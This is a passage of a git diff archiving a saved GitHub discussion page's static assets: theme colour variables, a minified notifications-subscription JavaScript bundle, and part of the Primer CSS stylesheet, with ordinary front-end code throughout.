hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription 